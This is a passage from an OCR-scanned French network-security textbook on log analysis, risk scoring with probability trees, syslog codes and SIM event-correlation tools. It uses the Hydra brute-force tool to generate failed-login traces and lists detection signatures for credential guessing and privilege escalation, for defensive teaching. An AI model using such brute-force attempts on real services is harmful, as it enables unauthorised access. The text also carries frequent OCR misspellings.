Sat Oct 8 09:44:05 2005 192.168.0.15 14856 /ftp/pub/crypto-fdiskl.png b _ i 

a util isateur_x groupe_ftp * c 

Oct 08 09:44:07 serveur serveur.ftp.com proftpd[4070] serveur.ftp.com: FTP session 

closed. 



Politique de securite 

« Chaque utilisateur n 'effectue que les actions qui lui sont autorisees. » 

Les transgressions de cette politique peuvent etre detectees par 1' analyse des traces des 
applicatifs reseau. Par exemple, l'utilisation et l'acces aux informations sont regis par 
une politique de securite, qui deflnit les regies de confidentialite de 1' information. 

Une entreprise a ainsi souvent les trois niveaux de protection de l'information suivants : 

• Public : l'information ne presente aucun risque pour l'entreprise si elle est connue. Par 
consequent, aucun controle d'acces n'est necessaire. 

• Interne : l'information doit rester interne a l'entreprise. Seul le personnel peut done y 
acceder. En regie generale, une authentification est necessaire pour atteindre l'infor- 
mation. Parfois, le chiffrement est demande. 

• Secret : l'information est critique pour l'entreprise. Sa divulgation a des personnes non 
autorisees peut mettre l'entreprise en peril. Par consequent, l'acces est strictement 
controle, et les flux sont souvent chiffres. 

Des services tels que SSH, HTTP, HTTPS, FTP, POP, IMAP, etc., permettent d'authenti- 
fier l'utilisateur avant qu'il puisse atteindre l'information. Sans la fourniture de la preuve 
que l'individu est bien qui il pretend etre, et dans la mesure ou le systeme d' exploitation 
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a ete correctement parametre, mis a jour, etc., il n'est pas possible a des personnes non 
autorisees d'acceder a 1' information. 



Le controle 



II est necessaire de rapporter toutes les traces des applications afln de detecter toute tenta- 
tive frauduleuse d'acces a 1' information. 

Afin d'illustrer ce controle par l'exemple, nous nous appuyons sur l'outil gratuit Hydra, 
qui permet de lancer des attaques brutales d'authentiflcation sur un grand nombre de 
services, tels que Telnet, FTP, HTTP, HTTPS, Proxy HTTP, SMB, SMBNT, MS-SQL, 
MySQL, les R-services, CVS, SNMP, Socks 5, VNC, POP3, IMAP, NNTP, PCNFS, 
ICQ, SAP/R3, LDAP 2 et 3, PostgreSQL, Teamspeak, les authentications Cisco et 
Cisco AAA. 

Nous lancons des attaques simulant un utilisateur desireux d'acceder a un service donne. 
Ces tentatives se transforment en traces, rapportees dans notre collecteur central (serveur 
Apache) : 

[Sun Oct 30 09:20:02 2005] [error] [client 192.168.0.1] user intrus not found: / 
[Sun Oct 30 09:20:08 2005] [error] [client 192.168.0.1] user georges not found: / 
[Sun Oct 30 09:20:14 2005] [error] [client 192.168.0.1] user edouard not found: / 

Le serveur POP3 note de son cote : 

Oct 30 09:28:06 laurent qpopper[42098] : intrus at pop3srv (192.168.0.1): 

-ERR [AUTH] Password supplied for "intrus" is incorrect. 

Oct 30 09:28:27 laurent qpopper[46265] : georges at pop3srv (192.168.0.1): 

-ERR [AUTH] Password supplied for "georges" is incorrect. 

Oct 30 09:29:02 laurent qpopper[50311] : edouard at pop3srv (192.168.0.1): 

-ERR [AUTH] Password supplied for "edouard" is incorrect. 

Et le serveur FTP : 

Oct 30 09:22:51 laurent proftpd[1201] ftpsrv (cl ient[192. 168.0 . 1] ) : 

FTP session opened. 

Oct 30 09:22:56 laurent proftpd[1201] ftpsrv (cl ient[192.168.0.1]) : USER intrus: 

no such user found from client [192.168.0.1] to 192.168.201.180:21 

Oct 30 09:23:02 laurent proftpd[1201] ftpsrv (cl ient[192. 168.0 . 1] ) : USER georges: 

no such user found from client [192.168.0.1] to 192.168.201.180:21 

Oct 30 09:23:08 laurent proftpd[1201] ftpsrv (cl ient[192 . 168.0 .1] ) : USER edouard: 

no such user found from client [192.168.0.1] to 192.168.201.180:21 

Oct 30 09:23:08 laurent proftpd[1201] ftpsrv (cl ient[192.168.0.1]) : 

Maximum login attempts (3) exceeded 

Oct 30 09:23:08 laurent proftpd[1201] ftpsrv (cl ient[192 . 168.0 .1] ) : 

FTP session closed. 

Avec de telles traces, il est facile de detecter en temps reel des echecs successifs de tenta- 
tives d'authentiflcation. 
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Analyse des traces du systeme d'exploitation 

La derniere etape dans 1' analyse des traces, concerne celles du systeme d' exploitation. II 
s'agit d' analyser des evenements du systeme d' exploitation issus d'un systeme donne. 

L' utilisation de commandes permettant de gagner des privileges telles que su ou sudo ou 
l'apparition de fichiers core peuvent temoigner d'une situation en relation avec un 
probleme de securite. 

Politique de securite 

« Chaque utilisateur n 'effectue que les actions qui lui sont autorisees. » 

Une telle politique doit etre valable au sein meme d'un systeme d' exploitation. Certaines 
fonctions des OS sont chargees de n'autoriser 1'acces a 1'information (fichiers et repertoi- 
res) qu'aux comptes autorises. Selon le systeme d' exploitation considere, des traces 
peuvent etre engendrees par de tels evenements. 

Un systeme normalise C2, fonde sur les criteres Trusted Computer System Evaluation 
Criteria, doit augmenter non seulement la qualite des mecanismes de controle d'acces 
internes au systeme d' exploitation, mais egalement celle des traces associees. 

Le controle 

Quel que soit le niveau de certification ou de securite du systeme d' exploitation, il est 
toujours possible de disposer de ces traces sur un collecteur central ou elles seront 
analysees. 

II s'agit alors de rechercher d'autres types de signatures, telle l'utilisation de la 
commande su : 

Oct 30 10:03:47 serveur su: BAD SU utilisateur to root on /dev/ttyp2 

ou celle de la commande sudo : 



l 



Oct 30 10:04:52 serveur sudo: utilisateur : 1 incorrect password attempts ; 
TTY=ttyp2 ; PWD=/users/utilisateur ; USER=root ; C0MMAND=/bin/ls -1 /zone_interdite 



Lorsqu'un processus meurt de fa^on inattendue, les traces peuvent signifler, par exemple, 
une tentative de debordement de tampon : 



I 



pi d 69531 (Ipd), uid 0: exited on signal 11 
pi d 20699 (Ipd), uid 0: exited on signal 11 



Un dernier exemple de traces est fourni par les commandes destinees a des taches admi- 
nistratives, comme l'ajout ou le retrait d'utilisateurs : 

2003-11-16 10:38:44 [root:groupadd] cyrus(60) 

2003-11-16 10:38:44 [root:useradd] cyrus(60) :cyrus(60) :the cyrus mail server:/ 

nonexi stent : /sbi n/nol ogi n 
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En resume 



Le controle interne de securite vise a verifier 1' application des regies de securite dans la 
configuration des systemes composant le reseau. 

Ce controle peut etre elementaire, comme la verification de la presence de commandes de 
securite dans une configuration ou celle de l'unicite du plan d'adressage dans un ensem- 
ble de configurations. 

Ce controle peut etre aussi plus complexe, comme la verification des topologies de 
routage reseau dans un ensemble de configurations ou la consistance des fUtrages 
(donnees, routage, etc.) dans une configuration. 

Le chapitre suivant detaille l'etablissement ou la creation de tableaux de bord de la secu- 
rite utilisant les resultats des controles internes et externes. 
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Tableau de bord 
de la securite reseau 



Comme nous avons pu le voir aux chapitres precedents, les controles internes et externes 
de securite apportent un nombre important d' informations. Ces dernieres doivent etre 
analysees afln de tenter de detecter des failles de securite et de dresser un tableau de bord 
de la securite reseau. 

Pour analyser ces informations et etablir des correlations entre les differents evenements, 
il est necessaire de centraliser ces informations mais aussi de disposer d'outils efflcaces 
d'aide a la decision. 

Nous montrons dans ce chapitre quels sont les objectifs d'un tableau de bord de la secu- 
rite. Nous detaillons ensuite une methode permettant d'evaluer la securite et presentons 
les outils de SIM (Security Information Management), qui permettent de centraliser des 
regies de correlation entre les evenements. Enfin, nous montrons comment deflnir des 
tableaux de securite reseau construits a la fois a partir des resultats des controles internes 
et externes et des evenements reseau. 

Bien que les evenements reseau soient cruciaux dans la detection de failles de securite, il 
convient de rester prudent dans leur analyse ainsi que dans les conclusions deduites. 

La problematique majeure de 1' analyse des evenements de securite est que les informa- 
tions ou evenements disponibles sur un systeme donne couvrent generalement des 
domaines tres larges. II faut done selectionner les evenements de securite qui doivent etre 
emis vers une plate-forme centrale d' analyse et de correlation. 

Comme le traflc des evenements tend a croitre de maniere considerable des que le 
nombre d'equipements supervises augmente, il faut pre voir les traflcs de pointe associes 
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a la remontee des evenements et envisager une plate-forme centrale capable d' absorber et 
de traiter les evenements rectus. Une bonne solution consiste a construire une infrastruc- 
ture a plusieurs strates, dans laquelle les evenements sont nettoyes afln d'en extraire la 
substantiflque moelle. 

La definition et la maintenance des regies de correlation doivent suivre en permanence 
les evolutions de 1' architecture reseau et de ses services afln de ne pas declencher d'aler- 
tes en cas de faux positifs ou d'oublier de declencher des alertes reelles. 



Objectifs d'un tableau de bord de la securite reseau 

L'etablissement d'un tableau de bord de la securite reseau se refere de maniere fonda- 
mentale a la notion de mesure. De maniere theorique, une mesure est deflnie comme le 
processus par lequel on affecte des nombres ou des symboles aux attributs d'entites 
appartenant au monde reel, de maniere a les decrire par rapport a des regies clairement 
deflnies. 

On distingue les mesures directes, qui permettent d'attribuer une valeur a l'attribut d'une 
entite (par exemple, la taille d'un programme peut se mesurer par le nombre de lignes de 
codes ou de lexemes), et les mesures indirectes, qui ne permettent pas d'attribuer une 
valeur a l'attribut d'une entite (la facilite de maintenance ne peut se mesurer directement, 
par opposition au cout de la maintenance). 

La theorie de la mesure montre toute la difflculte de deflnir de maniere coherente et 
consistante un tableau de bord de la securite. Objectif utopique ou non, il n'en reste pas 
moins que Ton ne peut reduire un tableau de bord de securite a un indicateur entre et 
100 % pour un systeme complexe sans perdre d' informations essentielles. 

Malgre ces difflcultes, il est essentiel d'initier une telle demarche. L'etablissement d'un 
ableau de bord de la securite doit s'inscrire dans une demarche securitaire afln de repondre 
aux besoins de securite du reseau. Un tel tableau vise les principaux objectifs suivants : 

Determiner les elements les plus critiques, ainsi que les menaces et les consequences 
qui pesent sur le reseau. 

Deflnir une politique de securite permettant de se premunir contre les menaces et les 
consequences les plus critiques. 

Mettre en ceuvre des technologies repondant aux objectifs dermis dans la politique de 
securite. 

Controler 1' application de la politique de securite par des controles internes et externes 
recurrents. 

Consolider et correler les informations des controles afln de batir un tableau de bord de 
la securite en coherence avec les objectifs de securite. 

Pour atteindre ces objectifs, le tableau de bord de la securite doit obeir aux criteres 
suivants : 
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• Refleter regulierement le niveau de securite d'un systeme. L'historique doit etre garde 
pour des analyses statistiques ulterieures. 

• Permettre de declencher des actions ou alertes preventives. Ces actions ou alertes 
peuvent prendre en consideration l'historique des donnees collectees. 

• Permettre de prendre des decisions sur des criteres de nature differente. 

• Ne pas etre par nature un rapport post-mortem d'un incident de securite, mais plutot 
etre un rapport preventif arm d'eviter a priori un incident de securite. 

Quel que soit l'etat d'avancement du tableau de bord de la securite, les personnes concer- 
nees doivent etre impliquees, et des objectifs doivent etre dermis afln de corriger les 
failles de securite. 

Un tableau de bord de la securite doit etre considere comme un apport d' information sur 
la securite et non comme un ensemble de valeurs reelles absolues de la securite. Le 
danger encouru avec les indicateurs est qu'ils engendrent l'objectif de les ramener a tout 
prix a une valeur acceptable, sans prendre en compte que le tableau ne traduit pas reelle- 
ment la securite du systeme. 

En fait, des 1' instant ou un reseau est interconnect^ avec l'exterieur, le reseau court un 
risque. Tous les mecanismes de protection, comme les pare-feu, ne sont que des reducteurs 
de risque et non des eliminateurs de risque. II existe toujours une probability non nulle que 
quelque chose aille mal, quel que soit le mecanisme construit par des etres humains failli- 
bles. Un tableau de bord de la securite est done construit pour estimer ce risque. 

Besoins opemtionnels 

D'une maniere generale, un reseau complexe necessite de la part des entites operation- 
nelles des qualites de reaction rapide et de definition des priorites. La securite n'echappe 
pas a cette regie et doit fournir a ces entites les deux axes d' actions suivants : 

• La reaction rapide repose sur le fait qu'un tableau de bord de la securite doit permettre 
de declencher des actions ou alertes preventives. 

• La definition des priorites repose sur le fait qu'un tableau de bord de la securite doit 
permettre de prendre des decisions en tenant compte de criteres de nature differente. 

Les informations donnees aux entites operationnelles doivent non seulement etre preci- 
ses, mais aussi detailler les impacts reseau possibles associes aux faiblesses detectees. 

Definition d'une echelle de mesure 

L'une des caracteristiques qui font qu'une activite peut se voir attribuer le statut de 
science est la capacite d'obtenir et de manipuler des mesures relatives a l'objet de cette 
science. 

On rencontre souvent dans la litterature les mots « mesure » et « metrique », mais il n'est 
pas simple de les distinguer de maniere sure. La langue franchise genere elle-meme quel- 
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ques confusions puisque ces termes ont tous deux une connotation mathematique bien 
que dans des contextes differents. 

Le NIST (National Institute for Standards and Technology) precise que le terme 
« metrique » devrait etre utilise pour la definition mathematique et algorithmique et que 
le terme « mesure » devrait designer la valeur numerique obtenue. On s'oriente cepen- 
dant vers une utilisation systematique du terme « mesure ». 

Le jugement de l'adequation d'une mesure est fonde sur le choix des attributs qui carac- 
terisent une entite, mais aussi sur le fait que 1' association de valeurs numeriques aux 
attributs doit preserver certaines proprietes. De maniere plus formelle, toutes les relations 
deflnies du systeme empirique doivent etre preservees dans le systeme numerique. 

Un enonce est signiflant si sa verite (ou sa faussete) reste inchangee quand on passe 
d'une echelle a une autre echelle admissible. Comme le montre le tableau 14.1, il existe 
plusieurs echelles de mesure. II est important de toujours utiliser des operations deflnies 
sur 1' echelle choisie. Par exemple, si la criticite des vulnerabilites reseau est sur une 
echelle ordinale (criticites basse, moyenne, elevee), il est impossible de calculer la 
moyenne des criticites observees. 

Tableau 14.1 Exemples d'echelles de mesure 



Echelle 


Exemple 


Operations statistiques possibles 




Nominale 


Numerotation des joueurs de football 


Frequence 




Ordinale 


Classification en categories (A, B, C, etc.) 


Mediane, Percentile, etc. 




Intervalle 


Temperature 


Moyenne, ecart type, etc. 




Ratio 


Taille 


Moyenne geometrique, coefficient de variation, etc. 





Pour la mesure de la securite logique d'un reseau, nous deflnirons tout d'abord un ensemble 
le plus complet possible d' attributs caracterisant la securite des configurations du reseau. 
Nous fonderons ensuite notre mesure sur le comptage du nombre de faiblesses detectees 
dans les configurations des equipements reseau. Nous adopterons alors une echelle de type 
ratio, laquelle preserve l'ordre et la taille des intervalles, incluant l'element 0. 



Evaluation de la securite d'un reseau 

Cette etape consiste a calculer les scenarios d'evenements possibles par le biais d'un 
arbre probabiliste fonde sur les vulnerabilites prealablement detectees. En plus des 
vulnerabilites, deux autres entrees sont necessaires au moteur de calcul des scenarios 
pour construire un tel arbre. 

Le premier correspond aux regies de propagation des evenements exploitant les vulnera- 
bilites detectees. Le second correspond a la topologie du reseau afin de valider l'exis- 
tence d'un chemin reseau dans le declenchement d'un evenement conditionne par un 
autre evenement. 
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La figure 14.1 illustre le calcul d'un arbre probabiliste a partir de vulnerabilites detectees. 



Figure 14.1 

Calcul d'un arbre 
probabiliste a partir des 
vulnerabilites 



Vulnerabilites 



Regies de propagation 



Topologie reseau 




Moteur de calcul des scenarios 



Arbre devenements 



L'algorithme associe au moteur de calcul des scenarios calcule un arbre probabiliste en 
respectant les fondements de la theorie des probabilites. 



Restrictions d'un arbre probabiliste 

Un arbre probabiliste suit des regies de construction que Ton peut resumer par les princi- 
pes suivants : 

• Un arbre a une seule racine. On dit que ce point est au niveau de 1' arbre. 

• Tout point d'arrivee d'un arbre elementaire est soit un point d'arrivee de l'arbre, soit 
un point de depart pour un autre arbre. Ce point est aussi appele un noeud de l'arbre. 

• Entre deux points d'un arbre, il y a un trajet oriente et un seul. Un corollaire de cette 
regie est qu'un arbre est toujours un graphe dirige acyclique, l'inverse n'etant pas vrai. 
En effet, il existe des graphes diriges acycliques qui ne sont pas des arbres. 

• Un chemin (ou trajet, ou sequence) maximal est un chemin allant de la racine a une 
extremite de l'arbre, et un evenement un ensemble de chemins maximaux. 

• Chaque branche reliant deux noeuds est associee a un poids egal a la probabilite de 
passer du pere au fils. 

De plus, un arbre probabiliste suit des regies relatives aux probabilites affectees, que Ton 
peut resumer de la fa^on suivante : 

• La somme des probabilites affectees aux branches issues d'un meme noeud est egale a 1 . 

• La probabilite affectee a chaque chemin (maximal ou non) est le produit des probabi- 
lites affectees a chacune des branches qui le composent. 

• La probabilite d'un evenement correspondant a plusieurs chemins maximaux est la 
somme des probabilites correspondant a chacun de ces chemins. 
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La figure 14.2 illustre un arbre probabiliste associe a la saisie de trois mots de passe 
consecutifs avant de bloquer un compte en cas de trois erreurs consecutives. 



Figure 14.2 

Arbre probabiliste de la 
saisie de mot de passe 
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NOK 
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Aucune donnee ou statistique ne permet d'estimer la probabilite qu'un evenement 
exploite une vulnerabilite donnee ou de determiner une loi de probabilite quelconque. 
Nous considerons done que les probabilites sont de maniere generale equiprobables pour 
chaque branche d'un noeud donne de l'arbre probabiliste. 

Cela ne constitue pas un inconvenient majeur, puisque l'objectif est de valider le compor- 
tement et la pertinence des mesures de securite realisees. De plus, d'autres distributions 
de probabilites peuvent etre facilement mises en oeuvre dans ce modele. 

Modelisation simplifiee d'un noeud de l'arbre 

Les vulnerabilites signalees par le moteur de verification sont decrites par les champs 
suivants : 






Equipement reseau dont la configuration contient cette vulnerabilite. 

• Description de la vulnerabilite. 

• Test de securite qui a detecte la vulnerabilite. 

• Impact reseau associe a la vulnerabilite, lequel depend directement dans notre modele 
du test de securite. 

Sachant que l'objectif est de quantifier les impacts reseau associes aux vulnerabilites 
detectees, l'etape suivante consiste a construire un arbre probabiliste fonde sur ces vulne- 
rabilites, a quantifier les probabilites de chaque branche et a calculer les probabilites de 
l'arbre associees aux impacts reseau. 
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Pour construire un tel arbre, nous considerons une configuration dans laquelle chaque 
nceud est compose des elements suivants : 

• Branche indiquant qu'il n'y a pas d'impact reseau apres l'exploitation de la vulnerabilite. 

• Serie de branches indiquant tous les evenements exploitant d'autres vulnerabilites a 
partir du noeud en cours. 

• Branche indiquant un impact reseau. 

La figure 14.3 illustre le noeud de l'arbre associe a l'exploitation de la vulnerabilite Vx. 



Figure 14.3 

Modelisation d'un noeud 
d'un arbre d' evenements 



Pas de suite 
Probability = Py 



Evenement exploitant Vx 
Probability = Px 



Evenement impactant le 
reseau par Vx 
Probability = Pz 




Pas d'impact 
reseau 



Impact reseau 



Propagation des evenements 
utilisant d'autres vulnerabilites 

Probability = (1-Py-Pz)/nombre devenements 



Nous considerons qu'il n'existe pas de branche ayant un impact reseau qui pointerait vers 
une serie de branches indiquant tous les evenements exploitant d'autres vulnerabilites. 
Cette restriction n'est pas un reel probleme, car cette serie de branches est deja presente 
dans les branches que nous avons definies precedemment. Ainsi, cette nouvelle serie de 
branches peut etre deduite et facilement implementee. 

Nous nous appuyons sur une configuration de noeuds simplifiee, que nous detaillons ci- 
apres. Le modele de configuration le plus complexe peut etre deduit de ce modele 
simplifie. 

Le modele de configuration simplifiee consiste a dire que tout evenement exploitant une 
vulnerabilite declenche avec succes tous les autres evenements exploitant les autres 
vulnerabilites. II s'agit du pire des cas. Dans une telle configuration, si nous considerons 
l'arbre probabiliste suivant fonde sur ces trois vulnerabilites (V 1? V 2 , V 3 ), ayant respecti- 
vement les impacts reseau NIA^ = fort, NI/V 2 = moyen, NI/V 3 = moyen, et ou E/Vx est 
1' evenement exploitant une vulnerabilite egale a Vx, nous obtenons l'arbre probabiliste 
illustre a la figure 14.4. 

Si nous considerons une distribution de probabilites equiprobable pour chaque noeud de 
l'arbre, la probabilite d'avoir un impact reseau « fort » est egale a 2 x (1/3 x 1/2 x 1) = 1/ 
3, et celle d'avoir un impact reseau « moyen » est egale a 4 x (1/3 x 1/2 x 1) = 2/3. 
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Figure 14.4 

Modelisation d'un nceud 
d'un arbre d'evenements 
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La mesure du risque 

Une fois calculees les probabilities des impacts reseau, il suffit de quantifier les conse- 
quences associees a ces impacts reseau pour calculer le risque associe a la non-applica- 
tion de la politique de securite. Ce risque est calcule comme une esperance mathematique 
en multipliant les probabilites par les consequences associees aux impacts reseau. 

Nous prenons des valeurs de consequences predeterminees, qui sont recapitulees au 
tableau 14.2. Cela ne presente pas d' inconvenient majeur dans notre experience, puisque 
l'objectif est de valider le comportement et la pertinence des mesures de securite reali- 
sees. D'autres distributions de consequences peuvent etre facilement mises en ceuvre 
dans ce modele. 

Enfin, nous considerons qu'une valeur de risque comprise entre ]50,100] definit un 
risque fort necessitant une action immediate. Une valeur de risque comprise entre ] 10,50] 
definit un risque moyen necessitant la mise en place d' actions correctives. Une valeur de 
risque comprise entre ]1,10] definit un risque faible necessitant soit la mise en place 
d' actions correctives, soit 1' acceptation du risque. 

Le tableau 14.2 recense les differentes valeurs de consequences et de probabilites asso- 
ciees des impacts reseau. 

Tableau 14.2 Consequences des impacts reseau 



Consequence/ 
probability 


Valeur = 10 
(impact reseau 


faible) 


Valeur = 50 
(impact reseau 


moyen) 


Valeur = 100 
(impact reseau fort) 


Forte = 1 .0 


Risque faible 
10x1,0 = 10 




Risque moyen 
50x1,0 = 50 




Risque fort 
100x1,0 = 100 


Moyenne = 0,5 


Risque faible 
10x0,5 = 5 




Risque moyen 
50 x 0,5 = 25 




Risque moyen 
100x0,5 = 50 


Faible = 0,1 


Risque faible 
10x0,1 =1 




Risque faible 
50x0,1 =5 




Risque faible 
100x0,1 =10 
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Le calcul du risque pour l'exemple precedent est done egal a 10x0 + 50 x 2/ 
3 + 100 x 1/3 = 200/3 = 66,66. 



Les outils de SIM (Security Information Management) 

Pour analyser et correler les evenements de maniere efflcace, de nouveaux outils sont 
apparus sur le marche sous le nom de SIM (Security Information Management), comme 
l'illustre la figure 14.5. Par opposition a l'approche precedente, les outils de SIM aident 
a estimer le risque actuel, fonde sur des evenements en temps reel. 



Figure 14.5 
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Ces outils centralisent tout d'abord les evenements ou messages emis par les equipe- 
ments de securite (pare-feu, systemes de detection d'intrusion, etc.) ou les systemes et 
equipements reseau (routeurs, serveur s, etc.). 

Les messages re^us peuvent s'appuyer sur divers protocoles, tels que syslog, qui vehicule 
des messages systeme. Le format d'un message syslog est compose des trois champs 
suivants : 

• message priority: champ de type entier, code sur 8 bits, dans lequel les trois 
premiers bits correspondent au message level et les cinq derniers au message facility. 

• PRIORITY, dont les differentes possibilites sont les suivantes : 

L0G_EMERG; 0; panique du noyau 

LOG ALERT; 1; necessite une attention immediate 

L0G_CRIT; 2; conditions critiques 

L0G_ERR; 3; erreurs 

LOG_WARNING; 4; messages d'alerte 

L0G_N0TICE; 5; necessite une attention 

L0G_INF0; 6; Les messages d'information 

L0G_DEBUG; 7; Niveau de debugging d'un systeme 



FACILITY, dont les differentes possibilites sont les suivantes 
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L0G_KERN; (0«3); Les messages noyau 

L0G_USER; (1«3); Les messages utilisateur 

L0G_MAIL; (2«3); l_e systeme de messagerie 

L0G_DAEM0N; (3«3); Les process systemes 

L0G_AUTH; (4«3) ; Les messages d'autorisation et de securite 

L0G_SYSL0G; (5«3); Les messages generes de maniere interne par syslog 

L0G_LPR; (6<<3); Le sous-systeme d'impression 

L0G_NEWS; (7«3); Les messages generes par le systeme de news 

LOGJJUCP; (8«3); Les messages generes par le systeme UUCP 

L0G_CR0N; (9«3); Les messages generes par le process cron 

Les autres codes de 10 a 15 sont reserves pour un usage systeme 

L0G_L0CAL[0-7] ; (16-23«3); reserve pour un usage local 

• timestamp : champ indiquant la date et l'heure de l'evenement. 

• the message string : champ decrivant le message par lui-meme. 

Apres reception et stockage des messages, ces outils permettent de creer des regies de 
correlation d' evenements arm de lancer des actions. 



Les regies de correlation 

Les correlations entre les evenements sont definies a l'aide de regies precises. La forme 
generique d'une regie de correlation est la suivante : si un evenement peut etre associe 
(match) a une suite de donnees de correlation (pattern), une action est executee. 

La figure 14.6 illustre comment le moteur d'inference, ou systeme d'aide a la decision, 
agit sur les evenements en fonction des regies de correlation. 



Figure 14.6 
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De maniere plus generale, les regies de correlation disponibles sur de tels systemes 
offrent les options de correlation suivantes : 



Tableau de bord de la securite reseau 



385 



Chapitre 14 

• Singl e : si un evenement correspond a une regie, Taction associee a cette regie est 
executee. 

• Si ngl eWi thScri pt : si un evenement correspond a une regie, un script est lance ; si le 
script retourne 0, Taction associee a cette regie est executee. 

• SingleWithSuppress : si un evenement correspond a une regie, Taction associee a 
cette regie est executee. Cependant, les evenements suivants correspondant a cette 
regie ne sont pas pris en compte pendant t secondes (periode a deflnir). 

• Pair : si un evenement correspond a une regie, Taction associee a cette regie est 
executee. Cependant, les evenements suivants correspondant a cette regie lancent une 
autre action (action a deflnir) pendant t secondes (periode a deflnir). 

• PairWithWindow : si un evenement correspond a une regie, attendre d'autres evene- 
ments pendant t secondes (periode a deflnir). Durant cette periode, si d'autres evene- 
ments correspondent a cette regie, ils lancent une autre action (action a deflnir). Enfln, 
si aucun autre evenement ne survient durant cette periode, executer Taction associee a 
la regie d'origine. 

• Singl eWi thThreshol d : on compte le nombre d'evenements correspondant a une regie 
pendant t secondes (periode a deflnir). Si ce nombre excede une valeur seuil (a deflnir), 
on execute une action et Ton ignore tous les autres evenements durant ladite periode. 

• Suppress: supprime la correspondance d'un evenement a une regie. 

• Calendar: execute une action a des dates et heures precises. 

En plus de la definition standard des regies de correlation, d'autres regies peuvent inter- 
venir, telles que les suivantes : 

• Creer ou supprimer des contextes susceptibles de decider si une regie peut etre 
executee a un moment donne. 

• Reporter un ensemble d'evenements a un contexte donne et appliquer ces evenements 
a une autre periode. 

• Generer de nouveaux evenements qui correspondent a d'autres regies de correlation. 

• Annuler des correlations possibles avec d'autres regies. 

Les actions susceptibles d'etre associees a chaque regie de correlation sont, par nature, 
inflnies. Les actions suivantes sont toutefois le plus sou vent defmies : 

• ne pas prendre d' action ; 

• informer par messagerie les administrateurs d'un systeme ainsi que Tequipe securite ; 

• modifier les droits d'acces d'un utilisateur ; 

• bloquer une adresse IP donnee ; 

• fermer/terminer une connexion ; 

• interdire une connexion a un systeme donne ; 

• redemarrer un systeme. 
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La figure 14.5 illustre une base de connaissance a partir de laquelle des regies de correla- 
tion peuvent etre creees. Ces regies de correlation sont generalement deduites par une 
analyse statistique des evenements. 

II ne faut pas s'imaginer que ces outils trouvent par eux-memes les regies et failles de 
securite. lis se contentent de bien appliquer les parametrages decides par l'administra- 
teur. De plus, les regies et parametrages doivent evoluer avec les architectures et les 
services du reseau, faute de quoi les regies risquent de devenir obsoletes et les correla- 
tions de perdre leur sens. 

Les regies de correlation doivent tenir compte des sequences possibles associees a des 
attaques ou arbres d'attaques. Par exemple, la figure 14.7 illustre les sequences possibles 
(non exhaustives) des attaques liees au protocole de routage BGP. 



Figure 14.7 
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cours 



Attaque 



Passive, en essayant differents 

mots de passe pour retrouver la 
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Fondees sur cet arbre d'attaques, des regies de correlation relatives a la detection d'atta- 
ques sur le protocole de routage BGP peuvent etre definies. De telles regies peuvent 
couvrir differents types d'attaques, notamment les suivantes : 

• regie fondee sur un scanning de ports combinee a une detection d' attaque ; 

• regie fondee sur des essais successifs d'identifiants et mots de passe d'acces distants. 

L' intervention humaine est primordiale dans le processus de controle et d' analyse des 
incidents de securite. La figure 14.8 illustre un workflow detaillant les etapes a suivre 
pour la resolution d'un probleme de securite, quel que soit l'outil mis en place. 

Trois acteurs interviennent finalement dans le processus d' analyse des incidents de 
securite : 
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Le centre de securite, qui a en charge la supervision et la resolution des alertes remon- 
tees. 

Les experts de la securite, qui prennent la main si l'alerte s'avere plus complexe ou 
inconnue et analysent de maniere plus approfondie les risques et solutions possibles. 

Le departement de 1' engineering, qui prend le relais si l'alerte necessite de mener des 
tests complementaires et poursuit la resolution du probleme avec les experts de la secu- 
rite en salle ou laboratoire de tests arm de ne pas impacter le reseau. 
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Figure 14.8 

Processus de gestion d'un incident de securite 



Les outils SIM du marche 

Les principaux outils SIM disponibles sur le marche sont les suivants 
• E-Sentinel (e-Security) : http://www.esecurityinc.com/ 
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• ActiveEnvoy (NetForensics) : http://www.NetForensics.com/ 

• System Watch (Open Service) : http://www.open.com/ 

• SolSoft NetPartitionner (SolSoft) : http://www.solsoft.com/ 

• NS Control (Ponte) : http://www.ponte.com/ 

L' architecture de NetForensics se decompose en trois couches, comme illustre aux 
figures 14.9 a 14.11. 



Figure 14.9 
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Figure 14.10 

Architecture de 
NetForensics, couche 2 
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Figure 14.11 

Architecture de 
NetForensics, couche 3 




La premiere couche (routeurs, pare-feu, systemes de detection d' intrusion, etc.) emet les 
evenements de securite vers une plate-forme centrale. La plupart des equipements et 
evenements emis sont pris en compte par cette plate-forme. De plus, il est possible de 
developper un agent, appele agent universel, afin de faire le lien entre les evenements 
emis par un equipement et la plate-forme centrale. 
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La deuxieme couche a en charge de mener les correlations entre les evenements et la base 
de regies de correlation ainsi que l'historique des evenements anterieurs. 

La troisieme couche est responsable de la creation de rapports de securite repondant a 
des questions telles que : quel est le nombre d'alertes generees par jour par pare-feu et 
systeme de detection d'intrusion ? quelles sont les dernieres alertes associees a une 
adresse IP donnee et classifiees par categorie d'attaque (deni de service, usurpation 
d'adresses IP, etc.) ? 

Le choix de tels produits necessite de la part de l'entreprise une reflexion arm de compa- 
rer les besoins et les possibilites offertes. Chaque produit a ses propres limitations en 
terme de parametrage des options et de cout financier pour modifier ou aj outer des fonc- 
tions supplementaires. 

Voici une liste non exhaustive de questions a se poser avant d'entreprendre l'achat d'un 
tel produit : 

• Installation : 

- Les procedures d' installation sont-elles simples ? 

- Le logiciel est-il bien documente ? 

- Les mises a jour du logiciel sont-elles simples ? 

• Correlation : 

- Peut-on correler plus de 100 evenements par regie ? 

- Quelles sont les limitations de correlation, et, le cas echeant, sur quels criteres 
s'effectuent-elles ? 

- Quels sont les temps de reponse moyens pour les correlations d' evenements ? 

• Gestion du logiciel : 

- Le logiciel est-il capable de verifier le bon etat de marche de ses composants ? 

- Peut-on parameter le logiciel de maniere fine ? 

- A-t-on a sa disposition un macrolangage permettant d'affiner ou de modifier des 
regies de correlation mais aussi de developper des traitements specifiques ? 

- Peut-on parameter de maniere fine l'interface utilisateur ? 

• Navigation, rapports : 

- L'ergonomie de l'interface graphique est-elle suffisante ? 

- Peut-on se connecter aux composants controles au travers de l'interface graphique ? 

- Peut-on produire des rapports de securite en mode batch ? 

- Peut-on produire des rapports de securite exportables dans la plupart des formats de 
document (MS Word, PDF, RTF, etc.) ? 

- Peut-on parameter de maniere fine la production des rapports ? 
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- Quelle est la qualite des rapports ? Les rapports peuvent-ils servir a l'etablissement 
d'un tableau de bord de la securite ? 

Equipements de securite supervises : 

- Quelle est la liste des equipements de securite qui peuvent etre supervises native- 
ment (routeurs Cisco, pix Cisco, pare-feu Nokia, ID Sort, tcp_wrapper, 
ip_fllter, etc.) ? 

- Est-il possible de fabriquer son propre agent de supervision ? 

